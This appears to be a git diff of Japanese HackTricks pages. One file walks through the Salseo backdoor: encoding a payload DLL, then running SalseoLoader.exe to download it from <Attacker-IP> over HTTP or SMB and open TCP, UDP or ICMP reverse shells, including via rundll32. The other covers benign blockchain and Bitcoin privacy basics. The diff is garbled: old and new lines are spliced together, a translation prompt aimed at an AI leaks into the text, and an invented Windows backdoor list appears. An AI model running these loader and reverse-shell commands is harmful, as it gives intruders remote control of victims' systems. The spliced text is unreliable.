まず、**EvilSalsa.dll**をエンコードする必要があります。これを行うには、pythonスクリプト**encrypterassembly.py**を使用するか、プロジェクト**EncrypterAssembly**をコンパイルすることができます: まず、**EvilSalsa.dll**をエンコードする必要があります。これを行うには、Pythonスクリプト**encrypterassembly.py**を使用するか、プロジェクト**EncrypterAssembly**をコンパイルできます:
### **Python** ### **Python**
``` ```
@ -41,145 +41,111 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
``` ```
### Windows ### Windows
(Translation not required for the title) ### ウィンドウズ
Windowsには、さまざまなバックドアが存在します。これらは、リモートアクセスを取得したり、将来のアクセスを確保したりするために使用されます。以下に、いくつかの一般的なテクニックを紹介します。
#### Sticky Keys Exploit
Sticky Keysは、Windowsのアクセシビリティ機能です。この機能を悪用して、ログイン画面でコマンドプロンプトを開くことができます。これにより、システムにアクセスし、さまざまなコマンドを実行することが可能になります。
#### Utilman Exploit
Utilmanは、Windowsのアクセシビリティ機能の一つです。この機能を悪用すると、ログイン画面でコマンドプロンプトを開くことができます。Sticky Keys Exploitと同様に、システムにアクセスし、コマンドを実行することができます。
#### RDP Backdoor
RDPRemote Desktop Protocolは、リモートデスクトップ接続を提供するWindowsの機能です。RDPバックドアを設定することで、攻撃者はリモートからシステムにアクセスできます。
#### Service Backdoor
Windowsサービスを悪用してバックドアを作成することができます。サービスは、システム起動時に自動的に実行されるため、攻撃者はシステムに永続的なアクセスを持つことができます。
#### Registry Backdoor
レジストリは、Windowsの設定とオプションを格納するデータベースです。レジストリを変更してバックドアを作成することができます。これにより、攻撃者はシステムの設定を変更したり、プログラムを自動的に実行したりすることができます。
#### Scheduled Tasks
スケジュールされたタスクを使用して、特定の時間にプログラムやスクリプトを自動的に実行することができます。これを悪用することで、攻撃者は定期的にシステムにアクセスすることができます。
#### PowerShell Backdoor
PowerShellは、Windowsの強力なスクリプティングツールです。PowerShellスクリプトを使用してバックドアを作成することができます。これにより、攻撃者はシステム上で複雑な操作を自動化することができます。
これらのテクニックは、pentestingやセキュリティリサーチにおいて重要です。しかし、不正な目的で使用することは違法であり、倫理的にも許されません。常に合法的な範囲内で活動し、許可を得たテストのみを行うようにしてください。
``` ```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE> EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
``` ```
## **バックドアの実行** ## **バックドアの実行**
### **TCPリバースシェルの取得HTTPを通じてエンコードされたdllをダウンロードする** ### **TCPリバースシェルの取得HTTPを介してエンコードされたdllをダウンロードする**
ncをリバースシェルリスナーとして、そしてエンコードされたevilsalsaを提供するHTTPサーバーとして起動することを忘れないでください。 リバースシェルリスナーとHTTPサーバーを起動して、エンコードされたEvilDalsa.dllを提供することを忘れないでください。
``` ```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port> SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
``` ```
### **UDPリバースシェルの取得SMB経由でエンコードされたdllのダウンロード** ### **UDPリバースシェルを取得するSMBを介してエンコードされたdllをダウンロードする**
リバースシェルリスナーとしてncを開始し、エンコードされたevilsalsaを提供するためのSMBサーバーimpacket-smbserverを起動することを忘れないでください。 リバースシェルリスナーとしてncを起動し、エンコードされたevilsalsaを提供するためのSMBサーバーimpacket-smbserverを起動することを忘れないでください。
``` ```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port> SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
``` ```
### **ICMPリバースシェルの取得エンコードされたdllはすでに被害者の内部にあります** ### **ICMPリバースシェルを取得するエンコードされたdllはすでに被害者の中にある**
**この時、リバースシェルを受信するためにクライアントに特別なツールが必要です。ダウンロード:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) **今回は、リバースシェルを受け取るためにクライアントに特別なツールが必要です。ダウンロード:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **ICMP応答の無効化:** #### **ICMP応答を無効にする:**
``` ```
sysctl -w net.ipv4.icmp_echo_ignore_all=1 sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running: #You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0 sysctl -w net.ipv4.icmp_echo_ignore_all=0
``` ```
#### クライアントを実行す #### クライアントを実行します:
``` ```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>" python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
``` ```
#### 被害者の内部で、salseoを実行しましょう #### 被害者の内部で、salseoの実行を許可します
``` ```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP> SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
``` ```
## SalseoLoaderをDLLとしてコンパイルし、main関数をエクスポートする ## DLLのエクスポートメイン関数としてSalseoLoaderをコンパイルする
Visual Studioを使用してSalseoLoaderプロジェクトを開きます。 Visual Studioを使用してSalseoLoaderプロジェクトを開きます。
### main関数の前に追加: \[DllExport] ### メイン関数の前に追加: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### このプロジェクトにDllExportをインストールする ### このプロジェクトにDllExportをインストール
#### **ツール** --> **NuGetパッケージマネージャ** --> **ソリューションのNuGetパッケージを管理...** #### **ツール** --> **NuGetパッケージマネージャ** --> **ソリューションのNuGetパッケージを管理...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **DllExportパッケージを検索Browseタブを使用、インストールを押すポップアップを受け入れる** #### **DllExportパッケージを検索ブラウズタブを使用)し、インストールを押して(ポップアップを受け入れて**
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>)
プロジェクトフォルダには、**DllExport.bat** と **DllExport\_Configure.bat** が表示されます。 プロジェクトフォルダに**DllExport.bat**と**DllExport\_Configure.bat**というファイルが表示されます
### **DllExportをアンインストールする** ### DllExportをアンインストール
**アンインストール**を押します(変ですが、信じてください、これが必要です) **アンインストール**を押します(はい、奇妙ですが、信じてください、必要です)
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>) ![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
### **Visual Studioを終了し、DllExport\_configureを実行する** ### Visual Studioを終了してDllExport\_configureを実行
Visual Studioを**終了**します Visual Studioを**終了**します
次に、**SalseoLoaderフォルダ**に移動し、**DllExport\_Configure.bat**を**実行**します。 その後、**SalseoLoaderフォルダ**に移動して**DllExport\_Configure.bat**を実行します
**x64**を選択しますx64ボックス内で使用する場合、それが私の場合でした)、**System.Runtime.InteropServices**を選択します(**DllExportのためのNamespace**内で)そして**適用**を押します。 **x64**を選択しますx64ボックス内で使用する場合、私の場合はそうでした)、**System.Runtime.InteropServices****DllExportのNamespace**内)を選択して**Apply**を押します
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
### **プロジェクトを再びVisual Studioで開く** ### プロジェクトを再度Visual Studioで開く
**\[DllExport]**はもはやエラーとしてマークされるべきではありません。 **\[DllExport]**はもはやエラーとしてマークされていません
![](<../.gitbook/assets/image (8) (1).png>) ![](<../.gitbook/assets/image (8) (1).png>)
### ソリューションをビルドする ### ソリューションをビルド
**出力タイプ = クラスライブラリ**を選択します(プロジェクト --> SalseoLoaderプロパティ --> アプリケーション --> 出力タイプ = クラスライブラリ) **出力タイプ = クラスライブラリ**を選択します(プロジェクト --> SalseoLoaderプロパティ --> アプリケーション --> 出力タイプ = クラスライブラリ)
![](<../.gitbook/assets/image (10) (1).png>) ![](<../.gitbook/assets/image (10) (1).png>)
**x64プラットフォーム**を選択します(プロジェクト --> SalseoLoaderプロパティ --> ビルド --> プラットフォームターゲット = x64 **x64プラットフォーム**を選択します(プロジェクト --> SalseoLoaderプロパティ --> ビルド --> プラットフォームターゲット = x64
![](<../.gitbook/assets/image (9) (1) (1).png>) ![](<../.gitbook/assets/image (9) (1) (1).png>)
ソリューションを**ビルド**するにはビルド --> ソリューションのビルド出力コンソール内に新しいDLLのパスが表示されます ソリューションを**ビルド**するには: ビルド --> ソリューションのビルド出力コンソール内に新しいDLLのパスが表示されます
### 生成されたDllをテストする ### 生成されたDllをテスト
Dllをテストしたい場所にコピーして貼り付けます。 生成されたDllをテストしたい場所にコピーして貼り付けます。
実行 実行:
``` ```
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
以下は、ハッキング技術についてのハッキングの本の内容です。ファイル backdoors/salseo.md からの関連する英語のテキストを日本語に翻訳し、まったく同じマークダウンとhtmlの構文を保ったまま翻訳を返してください。コード、ハッキング技術名、ハッキング用語、クラウド/SaaSプラットフォーム名Workspace、aws、gcpなど、'leak'という単語、ペネトレーションテスト、およびマークダウンタグなどの翻訳は行わないでください。また、翻訳とマークダウン構文以外の余分なものは何も追加しないでください。 もしエラーが表示されない場合は、おそらく機能するDLLを持っています
エラーが表示されなければ、機能するDLLを持っている可能性が高いです
## DLLを使用してシェルを取得する ## DLLを使用してシェルを取得する
**HTTP** **サーバー**を使用し、**nc** **リスナー**を設定することを忘れないでください **HTTPサーバー**を使用して**ncリスナー**を設定することを忘れないでください
### Powershell ### Powershell
``` ```
@ -190,6 +156,8 @@ $env:lport="1337"
$env:shell="reversetcp" $env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
### CMD
### CMD ### CMD
``` ```
set pass=password set pass=password
@ -201,14 +169,14 @@ rundll32.exe SalseoLoader.dll,main
``` ```
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**し、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**してください**。**
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有する * **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください**
</details> </details>

View file

@ -1,120 +1,122 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、<strong>ゼロからヒーローまでAWSハッキングを学ぼう</strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手
* [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。 - 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。 - **ハッキングテクニックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
# 基本用語 # 基本用語
* **スマートコントラクト**: スマートコントラクトは、あらかじめ定められた条件が満たされたときに実行される**ブロックチェーンに保存されたプログラム**です。通常、**合意の実行**を自動化するために使用され、すべての参加者が中間者の介入や時間のロスなしに結果を即座に確認できるようにします。(こちらから[here](https://www.ibm.com/topics/smart-contracts)) - **スマートコントラクト**: スマートコントラクトは、**特定の条件が満たされたときに実行されるブロックチェーン上のプログラム**です。通常、**合意**の**実行**を自動化するために使用され、すべての参加者が中間業者の関与や時間の損失なしに即座に結果を確認できます([こちら](https://www.ibm.com/topics/smart-contracts)から)
* 基本的に、スマートコントラクトは、人々がアクセスして契約を受け入れると実行される**コードの一部**です。スマートコントラクトは**ブロックチェーンで実行されます**(そのため結果は不変に保存されます)し、それらを受け入れる前に人々によって読まれることができます。 - 基本的に、スマートコントラクトは、人々が契約にアクセスして受け入れるときに実行される**コードの一部**です。スマートコントラクトは**ブロックチェーンで実行**され(その結果は不変に保存され)、人々がそれを受け入れる前に読むことができます。
* **dApps**: **分散型アプリケーション**は、**スマートコントラクト**の上に実装されています。通常、ユーザーがアプリと対話できるフロントエンドがあり、**バックエンド**は公開されています(監査可能)し、**スマートコントラクト**として実装されています。時々、データベースの使用が必要です。Ethereumブロックチェーンは、各アカウントに一定のストレージを割り当てます。 - **dApps**: **分散型アプリケーション**は、**スマートコントラクト**の上に実装されます。通常、ユーザーがアプリとやり取りできるフロントエンドがあり、**バックエンド**は公開されています(したがって監査可能)し、**スマートコントラクト**として実装されています。場合によっては、データベースの使用が必要となり、Ethereumブロックチェーンは各アカウントに一定のストレージを割り当てます。
* **トークン & コイン**: **コイン**は**デジタル** **マネー**として機能する暗号通貨であり、**トークン**は何らかの**価値**を**表す**ものですが、コインではありません。 - **トークン&コイン**: **コイン**は**デジタル通貨**として機能し、**トークン**は**何らかの価値を表す**ものですが、コインではありません。
* **ユーティリティトークン**: これらのトークンは、ユーザーが後で**特定のサービスにアクセスすることを可能にします**(特定の環境で価値があるものです)。 - **ユーティリティトークン**: これらのトークンは、ユーザーが**後で特定のサービスにアクセス**できるようにします(特定の環境で価値を持つものです)。
* **セキュリティトークン**: これらは、何らかの資産の**所有権**を表します。 - **セキュリティトークン**: これらは**所有権**またはある資産を表します。
* **DeFi**: **分散型金融** - **DeFi**: **分散型金融**
* **DEX: 分散型取引プラットフォーム**。 - **DEX: 分散型取引所プラットフォーム**。
* **DAOs**: **分散型自律組織**。 - **DAOs**: **分散型自治組織**。
# 合意形成メカニズム # コンセンサスメカニズム
ブロックチェーントランザクションが認識されるためには、**ブロックチェーン**に**追加**されなければなりません。バリデーター(マイナー)がこの追加を行い、ほとんどのプロトコルでは、そうすることで**報酬を受け取ります**。ブロックチェーンが安全であるためには、悪意のあるユーザーやグループがバリデーションの過半数を乗っ取ることを**防ぐ**メカニズムが必要です。 ブロックチェーントランザクションが認識されるためには、それが**ブロックチェーンに追加**される必要があります。検証者(マイナー)がこれを行います。ほとんどのプロトコルでは、これを行うと**報酬を受け取ります**。ブロックチェーンが安全であるためには、**悪意のあるユーザーやグループが検証の大部分を占有するのを防ぐメカニズム**が必要です。
## プルーフ・オブ・ワーク (PoW) Proof of workは、よく使われるコンセンサスメカニズムで、トランザクションを検証するために計算能力の検証を使用し、潜在的な攻撃者が検証者ネットワークの計算能力の大部分を取得する必要があります。
これは、トランザクションを検証するために**計算能力の検証**を使用し、潜在的な攻撃者がバリデーターネットワークの大部分の計算力を獲得することを要求します。\ ## Proof Of WorkPoW
**マイナー**はいくつかのトランザクションを**選択**し、その後**プルーフ・オブ・ワークの計算**を開始します。**最大の計算リソースを持つマイナー**は、プルーフ・オブ・ワークを**早く終える可能性が高く**、すべてのトランザクションの手数料を得ることになります。
## プルーフ・オブ・ステーク (PoS) これは、トランザクションを検証するために**計算能力の検証**を使用し、潜在的な攻撃者が検証者ネットワークの計算能力の大部分を取得する必要があるメカニズムです。\
**マイナー**は**複数のトランザクションを選択**し、その後**Proof Of Workの計算を開始**します。**計算リソースが最も多いマイナー**がProof of Workを**早く完了**し、すべてのトランザクションの手数料を受け取る可能性が高くなります。
PoSは、バリデーターがある量のブロックチェーントークンを**保有していることを要求することによって**、潜在的な攻撃者が攻撃を仕掛けるためにブロックチェーン上のトークンの大部分を獲得することを要求します。\ ## Proof Of StakePoS
この種の合意形成では、マイナーが持っているトークンが多いほど、次のブロックを作成するように求められる可能性が高くなります。\
PoWと比較して、これはマイナーが消費するエネルギーを大幅に**削減します**。
# ビットコイン PoSは、検証者が一定量のブロックチェーントークンを持っていることを要求することで、**潜在的な攻撃者が攻撃を行うためにはブロックチェーン上のトークンの大部分を取得する必要がある**ようにします。\
この種のコンセンサスでは、マイナーが持っているトークンが多いほど、そのマイナーが次のブロックを作成する可能性が高くなります。\
PoWと比較して、これによりマイナーが消費するエネルギーが大幅に**削減**されます。
# Bitcoin
## トランザクション ## トランザクション
単純な**トランザクション**は、あるアドレスから別のアドレスへの**お金の移動**です。\ 単純な**トランザクション**は、アドレスから別のアドレスへの**資金移動**です。\
ビットコインの**アドレス**は、**公開** **キー**のハッシュです。したがって、アドレスからトランザクションを行うためには、その公開キー(アドレス)に関連付けられた秘密キーを知る必要があります。\ Bitcoinの**アドレス**は**公開鍵**のハッシュであり、したがって、アドレスからトランザクションを行うには、その公開鍵(アドレス)に関連付けられた秘密鍵を知っている必要があります。\
その後、**トランザクション**が行われると、アドレスの秘密キーで**署名**され、トランザクションが**正当**であることを示します。 その後、**トランザクション**が実行されると、そのトランザクションはアドレスの秘密鍵で**署名**され、トランザクションが**正当であることを示します**
ビットコインでデジタル署名を生成する最初の部分は、数学的に次のように表されます:\ Bitcoinでデジタル署名を生成する最初の部分は、次のように数学的に表現できます\
_**Sig**_ = _**Fsig**_(_**Fhash**_(_**m**_),_**dA**_) _**Sig**_ = _**Fsig**_(_**Fhash**_(_**m**_),_**dA**_)
ここで: ここで
* \_d\_Aは署名する**秘密キー** - _d_**A**は署名の**秘密鍵**
* _m_は**トランザクション** - _m_は**トランザクション**
* Fhashはハッシュ関数 - Fhashはハッシュ関数
* Fsigは署名アルゴリズム - Fsigは署名アルゴリズム
* Sigは結果の署名 - Sigは生成された署名
署名関数Fsigは、RとSという二つの値からなる署名Sigを生成します: 署名関数Fsigは、RとSからなる署名Sigを生成します。
* Sig = (R, S) RとSが計算された後、それらはDERDistinguished Encoding Rulesとして知られる国際標準エンコーディングスキームを使用してエンコードされたバイトストリームに直列化されます。署名が有効であることを検証するには、署名検証アルゴリズムが使用されます。デジタル署名の検証には、次のものが必要です
RとSが計算されると、それらはバイトストリームにシリアライズされ、Distinguished Encoding RulesまたはDERとして知られる国際標準のエンコーディングスキームを使用してエンコードされます。署名が有効であることを検証するためには、署名検証アルゴリズムが使用されます。デジタル署名の検証には次のものが必要です: - 署名RとS
- トランザクションハッシュ
- 署名を作成するために使用された秘密鍵に対応する公開鍵
* 署名RとS 署名の検証は、実際には、秘密鍵の所有者公開鍵を生成した秘密鍵の所有者だけがトランザクションに署名を生成できた可能性があることを意味します。署名検証アルゴリズムは、署名が実際に有効である場合に「TRUE」を返します。
* トランザクションハッシュ
* 署名を生成するために使用された秘密キーに対応する公開キー
署名の検証は、実質的にトランザクションに署名を生成したのは公開キーを生成した秘密キーの所有者であることを意味します。署名検証アルゴリズムは、署名が実際に有効である場合に「TRUE」と返します。
### マルチシグネチャトランザクション ### マルチシグネチャトランザクション
マルチシグネチャ**アドレス**は、複数のECDSA秘密キーに関連付けられたアドレスです。最も単純なタイプはm-of-nアドレスで、n個の秘密キーに関連付けられており、このアドレスからビットコインを送るには少なくともm個のキーからの署名が必要です。マルチシグネチャ**トランザクション**は、マルチシグネチャアドレスから資金を送るものです。 マルチシグネチャ**アドレス**は、複数のECDSA秘密鍵に関連付けられたアドレスです。最も単純なタイプはm-of-nアドレスであり、n個の秘密鍵に関連付けられており、このアドレスからビットコインを送信するには、少なくともm個の鍵から署名が必要です。マルチシグネチャ**トランザクション**は、マルチシグネチャアドレスから資金を送信するトランザクションです。
### トランザクションフィールド ### トランザクションフィールド
ビットコイントランザクションにはいくつかのフィールドがあります: Bitcoinトランザクションにはいくつかのフィールドがあります
* **Inputs**: **ビットコイン**が**転送される**元のアドレスと金額 - **Inputs**: **ビットコイン**が**送信元のアドレス**と金額
* **Outputs**: 各**転送された**アドレスとそれぞれの金額 - **Outputs**: 各**出力**に**転送される**アドレスと金額
* **Fee:** トランザクションの**マイナー****支払われる**金額 - **Fee:** トランザクションの**マイナーに支払われる**金額
* **Script\_sig**: トランザクションのスクリプト署名 - **Script\_sig**: トランザクションのスクリプト署名
* **Script\_type**: トランザクションのタイプ - **Script\_type**: トランザクションのタイプ
**2つの主要なタイプ**のトランザクションがあります: トランザクションには**2つの主要なタイプ**があります:
* **P2PKH: "Pay To Public Key Hash"**: これがトランザクションが行われる方法です。**送信者**に有効な**署名**(秘密キーから)と**公開** **キー**を提供することを要求します。トランザクション出力スクリプトは署名と公開キーを使用し、いくつかの暗号関数を通じて公開キーハッシュと**一致するかどうかをチェックします**。一致する場合、**資金**は**使用可能**になります。この方法は、ハッシュの形で公開キーを隠すことで、追加のセキュリティを提供します。 - **P2PKH: "公開鍵ハッシュへ支払い"**: これがトランザクションが行われる方法です。**送信者**に、有効な**署名**(秘密鍵から)と**公開鍵**を提供することを要求します。トランザクションの出力スクリプトは、署名と公開鍵を使用し、一部の暗号関数を介して**公開鍵ハッシュと一致するかどうか**を確認し、一致する場合は**資金が使える**ようになります。この方法では、セキュリティを高めるために公開鍵をハッシュの形で隠します。
* **P2SH: "Pay To Script Hash":** トランザクションの出力は、**スクリプト**(つまり、このお金を送りたい人がスクリプトを送る)だけです。特定のパラメータで**実行されると、`true`または`false`のブール値になります**。マイナーが提供されたパラメータで出力スクリプトを実行し、`true`になると、**希望する出力にお金が送られます**。`P2SH`は、トランザクションを受け入れる前に複数の署名をチェックする**ロジックを持つマルチシグネチャ**ウォレットに使用されます。`P2SH`はまた、誰でも、または誰も、資金を使うことを許可するために使用することができます。P2SHトランザクションの出力スクリプトが単に`1`で真実である場合、パラメータを提供せずに出力を使おうとすると、単に`1`になり、試みる人なら誰でもお金を使うことができます。これは、`0`を返すスクリプトにも当てはまり、出力を誰にも使えないようにします。 - **P2SH: "スクリプトハッシュへ支払い"**: トランザクションの出力は、単に**スクリプト**(つまり、このお金を送りたい人がスクリプトを送信する)であり、特定のパラメータで実行されると`true`または`false`のブール値が結果として得られます。マイナーが出力スクリプトを提供されたパラメータで実行し、`true`になると、**資金は希望の出力に送信**されます。`P2SH`は、**マルチシグネチャ**ウォレットに使用され、トランザクションを受け入れる前に複数の署名をチェックするロジックを出力スクリプトに作成します。`P2SH`は、誰でも、または誰もが資金を使えるようにするためにも使用できます。P2SHトランザクションの出力スクリプトが`true`の場合、パラメータを提供せずに出力を使おうとすると、結果が`1`になり、誰でもが試みると資金が使えるようになります。これは、`0`を返すスクリプトにも適用され、誰もが試みても出力を使えなくなります。
## ライトニングネットワーク ## Lightning Network
このプロトコルは、チャネルに**複数のトランザクションを実行**し、**最終状態だけを**ブロックチェーンに**送信**して保存するのに役立ちます。\ このプロトコルは、**チャネルに複数のトランザクションを実行**し、**最終状態**ブロックチェーンに保存するだけで**送信**します。\
これにより、ビットコインブロックチェーンの**速度が向上**します1秒あたり7回の支払いしか許可されていませんし、チャンネルがビットコインブロックチェーンのードを介して作成されるため、**トレースがより困難なトランザクションを作成することができます**: これにより、Bitcoinブロックチェーンの**スピードが向上**し1秒あたり最大7回の支払いしか許可されない、Bitcoinブロックチェーンのードを介してチャネルが作成されるため、**追跡が難しいトランザクションを作成**できます:
![](<../../.gitbook/assets/image (611).png>) ![](<../../.gitbook/assets/image (611).png>)
ライトニングネットワークの通常の使用は、関連する基本ブロックチェーンレイヤー1に資金提供トランザクションをコミットすることによって**支払いチャンネルを開く**ことから始まり、その後、**任意の数**のライトニングネットワーク**トランザクション**を行い、それらをブロックチェーンにブロードキャストせずにチャンネルの資金の仮の分配を更新し、オプションで、チャンネルの資金を分配するために**最終版**の決済トランザクションをブロードキャストして支払いチャンネルを閉じます。 Lightning Networkの通常の使用方法は、関連する基本ブロックチェーンレイヤー1に資金トランザクションを確定させることによって**支払いチャネルを開設**し、その後、ブロックチェーンにそれらを**ブロードキャストせずにチャネルの資金の仮分配を更新する**任意の数のLightning Network **トランザクション**を行い、最終的な決済トランザクションの**最終バージョンをブロードキャスト**してチャネルの資金を分配することで**支払いチャネルを閉じる**ことです。
チャンネルの両方のメンバーはいつでも停止し、チャンネルの最終状態をブロックチェーンに送信することができます。 チャネルの両メンバーのどちらでも、いつでもチャネルを停止して最終状態をブロックチェーンに送信できます。
# ビットコインプライバシー攻撃 # Bitcoinプライバシー攻撃
## 共通入力 ## 共通入力
理論的には、1つのトランザクションの入力は異なるユーザーに属する可能性がありますが、実際にはそれは通常ではなく、追加のステップが必要です。したがって、非常に頻繁に、**同じトランザクションの2つの入力アドレスが同じ所有者に属していると仮定することができ 理論的には、1つのトランザクションの入力は異なるユーザーに属する可能性がありますが、実際には追加の手順が必要です。したがって、非常に頻繁に**同じトランザクション内の2つの入力アドレスは同じ所有者に属していると仮定**されることがあります。
## UTXOのおつりアドレスの検出
**UTXO**は**未使用トランザクション出力**
``` ```
2 btc --> 4 btc 2 btc --> 4 btc
3 btc 1 btc 3 btc 1 btc
``` ```
```markdown 仮定されるのは、出力の1つがおつりであり、もう1つの出力が支払いであるとします。2つの解釈があります支払い出力は4 BTC出力または1 BTC出力のいずれかです。しかし、1 BTC出力が支払い金額である場合、3 BTC入力は不要です。なぜなら、ウォレットは2 BTC入力のみを使って支払いを行い、より低いマイナー手数料を支払うことができたからです。これは、実際の支払い出力が4 BTCであり、1 BTCがおつり出力であることを示しています。
支払いとお釣りの出力があると仮定します。2つの解釈があります支払い出力は4 BTCの出力か1 BTCの出力のどちらかです。しかし、1 BTCの出力が支払い額である場合、3 BTCの入力は不要です。なぜなら、ウォレットは2 BTCの入力のみを使用して支払い、それによりマイナーへの手数料を低く抑えることができたからです。これは、実際の支払い出力が4 BTCであり、1 BTCがお釣りの出力であることを示しています。
これは複数の入力があるトランザクションにとって問題です。このリークを修正する方法の一つは、お釣りの出力がどの入力よりも高くなるまで入力を追加することです。例えば: これは、複数の入力を持つトランザクションに対する問題です。このリークを修正する1つの方法は、おつり出力がどの入力よりも高くなるように、より多くの入力を追加することです。例えば
```
``` ```
2 btc --> 4 btc 2 btc --> 4 btc
3 btc 6 btc 3 btc 6 btc
@ -122,143 +124,142 @@ RとSが計算されると、それらはバイトストリームにシリアラ
``` ```
## 強制アドレス再利用 ## 強制アドレス再利用
